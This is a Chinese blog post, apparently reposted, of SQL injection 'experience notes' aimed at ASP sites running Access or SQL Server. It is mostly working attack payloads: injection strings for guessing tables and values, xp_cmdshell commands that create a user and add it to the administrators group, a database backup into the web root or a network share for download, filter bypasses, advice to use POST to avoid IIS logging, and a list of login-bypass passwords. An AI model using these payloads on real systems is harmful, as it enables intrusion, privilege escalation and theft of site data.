SQL注入经验总结
通過連接數據庫的引擎判斷數據庫類型:
Access:Microsoft JET Database Engine
SQLServer:Microsoft OLE DB Provider for SQL Server
?
一點思路:
每個動態頁面每個參數都測一測
相同動態頁面相同參數不同值時可能不同(不知道什么情況,但確實發生了,有待驗證。。)
后臺登陸時截斷查看表單,試試能否繞過
GET、POST沒頭緒時試試cookie,測試每個cookie的參數。用sqlmap cookie注入時,試試不帶相對URI(裸域名)
注意截包,分析包里的注入語句的變化
可能存在編碼問題,如果頁面編碼為GBK,可以試試補全,加個%ce
判斷注入點時單撇不行試試雙撇
?
如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但服務器同樣會報錯。
有些程序員只過濾了單引號,所以只用單引號測試,是測不到注入點的,可以用下列語句測試:
http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
?
ASP一般搭配Access和SQLSever。
SQLServer有一些系統變量,如果服務器IIS提示沒關閉,并且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:
http://www.mytest.com/showdetail.asp?id=49 ;and user>0
user是SQLServer的一個內置變量,它的值時當前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯。
如果是普通用戶,SQLServer的出錯提示是:將nvarchar值“bt”轉換數據類型為int的列時發生語法錯誤;如果是sa用戶,提示是:將“dbo”轉換成int的列發生錯誤。
?
在服務器IIS不允許返回錯誤提示時判斷數據庫類型:
Access和SQLServer都有自己的系統表,比如存放數據庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示”“沒有權限“,SQLServer是在表[sysobjects]中,在Web環境下可正常讀取。
在確認可以注入的情況下,使用下面的語句:
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果數據庫是SQLServer,那么第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id=49是大致相同的;而第二個網址,由于找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。
如果數據庫是Access,那么情況就有所不同,第一個網址的頁面與原頁面完全不同,第二個網址則視乎數據庫設置是否允許讀改系統表,一般來說是不允許的,所以與原網址也是完全不同。
大多數情況下,用第一個URL就可以得知系統所用的數據庫類型(第一個返回跟原頁差不多則是SQLServer,反之則Access),第二個URL只作為開啟IIS錯誤提示時的驗證。
?
根據注入參數類型,重構SQL語句的原貌,按參數類型主要分為下面三種:
ID=49,這類注入的參數是數字型,SQL語句原貌大致如下:
select * from 表名 where 字段=49
注入的參數為ID=49 and [查詢條件],即生成語句:
select * from 表名 where 字段=49 and [查詢語句]
class=連續劇,這類注入的參數是字符型:
select * from 表名 where 字段='連續劇'
注入的參數為Class=連續劇’ and [查詢條件] and ‘‘=’,即生成語句:
select * from 表名where 字段=’連續劇’ and [查詢條件] and ‘‘=’’
搜索時沒顧慮參數的,如keyword=關鍵字:
select * from 表名 where 字段 like '%關鍵字%'
注入的參數為keyword=' and [查詢條件] and '%25'=',即生成語句:
select * from 表名 where 字段 like '%' and [查詢條件] and '%'='%'
?
手工猜表名、字段名、字段值:
接著將查詢條件替換成SQL語句,猜解表名,如:
ID=49 and (select Count(*) from Admin)>=0
如果頁面就與ID=49的相同,說明條件成立,即表Admin存在,反之不存在。
猜出表名再猜解字段名,如:
ID=49 and (select Count(字段名) from Admin)>=0 或 and (select count(*) from admin where len(字段名)>0)>0
猜出字段名再猜解字段值,一種最常用的方法—Ascii逐字解碼法,雖然很慢,但是肯定可行:
假設:已知Admin中存在username字段
首先,取第一條記錄,測試username的長度:
ID=49 ;and (select top 1 len(username) from Admin)>0 或 and (select count(*) from admin where len(username)>0)>0
如果長度大于0,則條件成立。更換最后的數直到猜出第一條記錄的username字段值的長度
得到字段值的長度后,逐位猜解字段值:
ID=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
第一位字符的ASCII碼是否大于0,范圍在1-128之間。
?
SQL注入常用函數:
Access:asc(字符)??? SQLServer:unicode(字符)??? 作用:返回某字符的ASCII碼
Access:chr(數字)??? SQLServer:nchar(數字)??? 作用:與asc相反,根據ASCII碼返回字符
Access:mid(字符串,N,L)??? SQLServer:substring(字符串,N,L)??? 作用:返回字符串從N個字符起長度為L的自字符串,即N到N+L之間的字符串
Access:abc(數字)??? SQLServer:abc(數字)??? 作用:返回數字的絕對值(在猜解漢字的時候會用到)
Access:A between B and C??? SQLServer:A between B and C??? 作用:判斷A是否界于B與C之間
?
中文處理方法:
Access:中文的ASCII碼可能會出現負數,取出該負數后用abs()取絕對值,漢字字符不變。
SQLServer:中文的ASCII為正數,但由于是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode()返回unicode值,再用nchar函數取得對應的中文字符。
?
利用系統表注入SQLServer數據庫:
http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name passwd /add"--
http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--
這種方法只適用于用sa連接數據庫的情況,否則,是沒有權限調用xp_cmdshell的。
http://Site/url.asp?id=1; and db_name()>0??? 返回連接的數據庫名
http://Site/url.asp?id=1; backup database 數據庫名 to disk='c:inetpubwwwroot1.db';--
拿到數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來。在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如202.96.xx.xx/share/1.db),但成功率不高。
http://Site/url.asp?id=1; and (select top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來,第二、三...個表名也可以通過這種方法暴出來。
http://Site/url.asp?id=1; and (select top 1 col_name(object_id('表名'),1) from sysobjects)>0
拿到表名后,用object_id('表名')獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
?
繞過程序限制繼續注入:
利用相關函數,達到繞過程序限制的目的。
過濾'(單引號):
如where xtype='U',字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name='用戶',可以用where name=nchar(29992)+nchar(25143)代替。
?
經驗小結:
1.過濾沒區分大小寫:用混大小寫測試,如 seLecT
2.由網站上的登錄表單猜測字段名,一般為了方便起見,字段名都與表單的輸入框取相同的名字。
3.地址欄的+號傳入程序后解釋為空格,%2B解釋為+號,%25解釋為%號
4.用Get方法注入時,IIS會記錄所有提交的字符串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。
5.猜解Access時只能用ASCII逐字解碼法,SQLServer也可以用這種方法,只需要注意兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提高。
?
萬能密碼-繞過驗證:
1: "or "a"="a
2: ')or('a'='a
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6: "or 1=1--
7:'or'a'='a
8: "or"="a'='a
9:'or''='
10:'or'='or'
11: 1 or '1'='1'=1
12: 1 or '1'='1' or 1=1
13: 'OR 1=1%00
14: "or 1=1%00
轉載于:https://www.cnblogs.com/btlulu/p/3971692.html
總結
- 上一篇: Android开发学习笔记--一个有界面
- 下一篇: windows下将磁盘脱机,并在我的电脑